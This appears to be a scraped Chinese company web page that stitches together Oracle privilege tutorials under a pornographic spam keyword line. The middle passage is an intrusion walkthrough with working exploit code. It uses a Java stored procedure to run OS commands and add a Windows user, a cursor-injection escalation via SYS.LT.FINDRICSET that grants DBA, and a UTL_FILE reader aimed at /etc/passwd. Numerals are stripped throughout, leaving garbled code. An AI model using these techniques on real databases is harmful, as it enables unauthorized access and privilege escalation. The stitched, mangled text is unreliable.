真实的国产乱ⅩXXX66竹夫人,五月香六月婷婷激情综合,亚洲日本VA一区二区三区,亚洲精品一区二区三区麻豆

成都創(chuàng)新互聯(lián)網(wǎng)站制作重慶分公司

oracle怎么獲取權(quán)限 oracle的權(quán)限

如何查看oracle用戶具有的權(quán)限和角色?

1.查看所有用戶:

創(chuàng)新互聯(lián)建站是網(wǎng)站建設(shè)技術(shù)企業(yè),為成都企業(yè)提供專業(yè)的做網(wǎng)站、網(wǎng)站制作,網(wǎng)站設(shè)計,網(wǎng)站制作,網(wǎng)站改版等技術(shù)服務(wù)。擁有十余年豐富建站經(jīng)驗和眾多成功案例,為您定制適合企業(yè)的網(wǎng)站。十余年品質(zhì),值得信賴!

select * from dba_users;

select * from all_users;

select * from user_users;

2.查看用戶或角色系統(tǒng)權(quán)限(直接賦值給用戶或角色的系統(tǒng)權(quán)限):

select * from dba_sys_privs;

select * from user_sys_privs;

3.查看角色(只能查看登陸用戶擁有的角色)所包含的權(quán)限

sqlselect * from role_sys_privs;

4.查看用戶對象權(quán)限:

select * from dba_tab_privs;

select * from all_tab_privs;

select * from user_tab_privs;

5.查看所有角色:

select * from dba_roles;

關(guān)于ORACLE的權(quán)限賦予問題

我們經(jīng)常談及Oracle的權(quán)限 比如Connect DBA resource sysdba select any table select_catelog_role這樣一些權(quán)限 讓我們眼花繚亂的 那么如何來區(qū)分這些種類繁多的privilege中不至于眼迷離呢 這個文章將會對你在這方面的了解起到幫助

以上我們看到的這些權(quán)限 都是可以通過grant語句來進行權(quán)限賦予 同時也可以用過revoke來進行權(quán)限收回的操作的 但是 他們雖然都在grant里出現(xiàn) 但是有各自有著本質(zhì)的不同

oracle里的權(quán)限有兩種權(quán)限 系統(tǒng)權(quán)限和對象權(quán)限 所謂系統(tǒng)權(quán)限 就是oracle里已經(jīng)hardcode寫死的權(quán)限 這些權(quán)限 我們是不能自己去擴展的 比如上面提到的select any table create any table create table等 這里的權(quán)限已經(jīng)在oracle里全部規(guī)定好了

我們可以通過查看system_privilege_map這個數(shù)據(jù)字典表來查看所以的oracle系統(tǒng)內(nèi)置的權(quán)限

SQL select * from system_privilege_map;

PRIVILEGE NAME?????????????????????????????????????? PROPERTY

ALTER SYSTEM?????????????????????????????????????

AUDIT SYSTEM?????????????????????????????????????

CREATE SESSION???????????????????????????????????

ALTER SESSION????????????????????????????????????

RESTRICTED SESSION???????????????????????????????

這里就是所有的內(nèi)置的系統(tǒng)權(quán)限了 其實如果有開發(fā)過權(quán)限系統(tǒng)的經(jīng)驗的話 對這里的這個概念 可以理解為function permission 也就是你可以進行哪些操作

這里特別提到一個另外的知識點 有網(wǎng)游朋友問過我 create any table和create table有什么區(qū)別 create table只能老老實實的給自己的scheam創(chuàng)建表 而不能以create table otherschema tablename這樣的方式給其他的schema創(chuàng)建表 額外提到這點 有很多朋友這塊還是模糊的

oracle通過數(shù)據(jù)字典表dba_sys_privs這個表來記錄user被賦予的系統(tǒng)權(quán)限 比如

我們現(xiàn)在執(zhí)行

SQLgrant select any table to test ; 把select any table的權(quán)限賦予test 這個用戶

Grant succeeded

SQL select * from dba_sys_privs where grantee = TEST ;

GRANTEE??????????????????????? PRIVILEGE??????????????????????????????? ADMIN_OPTION

TEST ????????????????????????? SELECT ANY TABLE???????????????????????? NO

這里就可以查詢到這個記錄了 admin_option表示的是是否有把當前這個系統(tǒng)權(quán)限grant給其他用戶的意思 yes 表示test 除了自己有這個權(quán)限 還可以把這個權(quán)限賦予其他用戶 N就是沒有g(shù)rant的權(quán)限了

我們可以用一下語句試試

SQL grant select any table to test with admin option;

Grant succeeded

在來看看剛才的記錄

GRANTEE??????????????????????? PRIVILEGE??????????????????????????????? ADMIN_OPTION

TEST ????????????????????????? SELECT ANY TABLE???????????????????????? YES

現(xiàn)在test 就可以賦予select any table給別的用戶了

下面我們看看object permission 其實這里已經(jīng)名字就可以區(qū)分開了 這里是針對于特定的對象的權(quán)限 上面的系統(tǒng)權(quán)限是限定了可以操作的功能 而object permission就更細化了 具體到了莫個對象你可以操作的功能的權(quán)限

比如 A用戶建立了一個TableA表 現(xiàn)在為了讓B用戶可以看到A這個對象 我們就可以把A table的select權(quán)限 進行賦予 這里的A table上的select權(quán)限就是一個對象權(quán)限

除了select 還有update delete insert alter drop index references這樣正對于對象的權(quán)限

除了可以給表對象指定對象權(quán)限外 view sequence procedure function package triggger MV等這些oracle里的對象都可以進行對象的權(quán)限指定

對于對象權(quán)限來說 由于對象權(quán)限完全是動態(tài)的 在對一個對象進行g(shù)rant的時候 才能看到具體的對象權(quán)限 所以對象權(quán)限是不像system privilege那樣有一個表來描述的 只有一個表來記錄用戶和這個用戶對于的對象權(quán)限的關(guān)系表 這個表就是dba_tab_privs;

這里這個名字比較容易讓人誤會為只有table的對象權(quán)限 其實不然 這里其他類型的對象的對象權(quán)限也會記錄進來

實驗一下 還是剛才的test 用戶 我現(xiàn)在把對象dbms_xplan的execute的權(quán)限給他 dbms_xplan這個有些朋友可能不熟悉 這是執(zhí)行計劃有關(guān)的一個對象 朋友們?nèi)绻麤]有安裝執(zhí)行計劃的包 可以用dbms_output對象做實驗

SQLgrant execute on dbms_xplan to test ;

SQLgrant execute on dbms_output to test ;

SQL select * from dba_tab_privs where grantee = TEST ;

GRANTEE??????????????????????? OWNER????????????????????????? TABLE_NAME???????????????????? GRANTOR??????????????????????? PRIVILEGE??????????????????????????????? GRANTABLE HIERARCHY

TEST ????????????????????????? SYS??????????????????????????? DBMS_XPLAN???????????????????? SYS??????????????????????????? EXECUTE????????????????????????????????? NO??????? NO

TEST ????????????????????????? SYS??????????????????????????? DBMS_OUTPUT??????????????????? SYS??????????????????????????? EXECUTE

這里注意和fuanction 不同的 這里有一個GRANTABLE的字段 意味和上面admin option一樣的作用

不過這里的sql不同了

SQLgrant execute on dbms_xplan to test with grant option;

這里是oracle里的權(quán)限了

不過有的人可能會問道 咦 你是不是漏掉了 不是我們還可以

grant connect resource dba to username;嗎 那她們都是什么權(quán)限呀

在這里就要注意了 這里的connct resource dba都不是權(quán)限 而是一個role 角色 一個角色是 個或者多個系統(tǒng)權(quán)限或者對象權(quán)限的集合 是便于我們管理用戶賦權(quán)而演化而來的 這里的create role和賦予role權(quán)限我們就不詳談了 朋友們可以自己查一查相關(guān)資料 role是我們可以動態(tài)建立的 建立的role可以用grant來賦予權(quán)限 或者把一個role賦予另一個role

我們可以通過dba_roles這個表來查詢系統(tǒng)里所有的role

SQL select * from dba_roles;

ROLE?????????????????????????? PASSWORD_REQUIRED

CONNECT??????????????????????? NO

RESOURCE?????????????????????? NO

DBA??????????????????????????? NO

SELECT_CATALOG_ROLE??????????? NO

EXECUTE_CATALOG_ROLE?????????? NO

DELETE_CATALOG_ROLE??????????? NO

我們可以把role的賦予一個用戶

比如

SQLgrant select_catalog_role to test ;

我們可以通過dba_role_privs來查詢相關(guān)用戶的role的賦予 比如

SQL select * from dba_role_privs where grantee = TEST ;

lishixinzhi/Article/program/Oracle/201311/16827

入侵Oracle服務(wù)器進一步獲取權(quán)限

很快便連接上oracle服務(wù)器 此時發(fā)現(xiàn)

連接后不是dba權(quán)限

不能利用SYS DBMS_EXPORT_EXTENSION GET_DOMAIN_INDEX_TABLES漏洞提升權(quán)限

運行SELECT UTL_HTTP request( ) FROM dual 后發(fā)現(xiàn)oracle服務(wù)器不能連接網(wǎng)絡(luò)

幸運的是

運行

create or replace function Linx_Query (p varchar ) return number authid current_user is begin execute immediate p; return ;end;

成功!這個用戶具有create proceduce權(quán)限

此時馬上想到創(chuàng)建java擴展執(zhí)行命令

create or replace and pile java source named LinxUtil as import java io *; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime getRuntime() exec(args) getInputStream() ) ); String stemp str= ;while ((stemp = myReader readLine()) != null) str +=stemp+ ;myReader close();return str;} catch (Exception e){return e toString();}}}

begin dbms_java grant_permission( PUBLIC SYS:java io FilePermission execute );end;

create or replace function LinxRunCMD(p_cmd in varchar ) return varchar as language java name LinxUtil runCMD(java lang String) return String

select * from all_objects where object_name like %LINX%

grant all on LinxRunCMD to public

select LinxRunCMD( cmd /c net user linx /add ) from dual

但是在第一步就卡住了 服務(wù)器由于某種未知原因 不能創(chuàng)建java擴展!!

還好 我們還有UTL庫可以利用

create or replace function LinxUTLReadfile (filename varchar ) return varchar is

fHandler UTL_FILE FILE_TYPE;

buf varchar ( );

output varchar ( );

BEGIN

fHandler := UTL_FILE FOPEN( UTL_FILE_DIR filename r );

loop

begin

utl_file get_line(fHandler buf);

DBMS_OUTPUT PUT_LINE( Cursor: ||buf);

exception

when no_data_found then exit;

end;

output := output||buf||chr( );

end loop;

UTL_FILE FCLOSE(fHandler);

return output;

END;

UTL_FILE_DIR需要先用

CREATE OR REPLACE DIRECTORY UTL_FILE_DIR AS /etc ;

指定目 但運行后發(fā)現(xiàn)沒有權(quán)限 只好想辦法提權(quán)

***************游標注射***************

老外寫了N個pdf介紹這技術(shù) 我精簡了代碼

DECLARE

MYC NUMBER;

BEGIN

MYC := DBMS_SQL OPEN_CURSOR;

DBMS_SQL PARSE(MYC declare pragma autonomous_transaction; begin execute immediate GRANT DBA TO linxlinx_current_db_user ;mit;end; );

DBMS_OUTPUT PUT_LINE( Cursor: ||MYC);

BEGIN SYS LT FINDRICSET( ||dbms_sql execute( ||MYC|| )|| )– x ); END;

raise NO_DATA_FOUND;

EXCEPTION

WHEN NO_DATA_FOUND THEN DBMS_OUTPUT PUT_LINE( Cursor: ||MYC);

WHEN OTHERS THEN DBMS_OUTPUT PUT_LINE( Cursor: ||MYC);

END;

運行后重新連接就有dba權(quán)限了 簡單吧……

現(xiàn)在可以讀取文件了

CREATE OR REPLACE DIRECTORY UTL_FILE_DIR AS /etc ;

select LinxUTLReadfile( passwd ) from dual

lishixinzhi/Article/program/Oracle/201311/16747

oracle中,用戶如何獲得grant權(quán)限?

1、系統(tǒng)權(quán)限的授予權(quán)獲得

在獲得一個系統(tǒng)權(quán)限的同時選擇WITH ADMIN OPTION從句。

例: grant Create any view to scott WITH ADMIN OPTION;

2、對象權(quán)限的授予權(quán)獲得

在獲得一個系統(tǒng)權(quán)限的同時選擇WITH ADMIN OPTION從句。

例:grant Select on emp to Myuser WITH GRANT OPTIION;

3、對于用戶自身對象的對象授予權(quán)限沒有必要獲得,可以直接授予其他用戶。

4、user2獲得user1所有表的權(quán)限有兩種方法實現(xiàn):

a) 登入user1用戶,把表的Select權(quán)限一個一個授予user2.

b) 登入DBA用戶權(quán)限授予suer2用戶Select Any權(quán)限。

例:Grant Select Any Table to user2; --這樣獲得是所有用戶表的Select權(quán)限。

oracle中怎樣查詢用戶權(quán)限?

查看用戶系統(tǒng)權(quán)限:\x0d\x0aselect * from dba_sys_privs;\x0d\x0aselect * from session_privs;\x0d\x0aselect * from user_sys_privs;\x0d\x0a查看用戶對象權(quán)限:\x0d\x0aselect * from dba_tab_privs;\x0d\x0aselect * from all_tab_privs;\x0d\x0aselect * from user_tab_privs;


網(wǎng)站標題:oracle怎么獲取權(quán)限 oracle的權(quán)限
鏈接地址:http://weahome.cn/article/hhhhpc.html

其他資訊

在線咨詢

微信咨詢

電話咨詢

028-86922220(工作日)

18980820575(7×24)

提交需求

返回頂部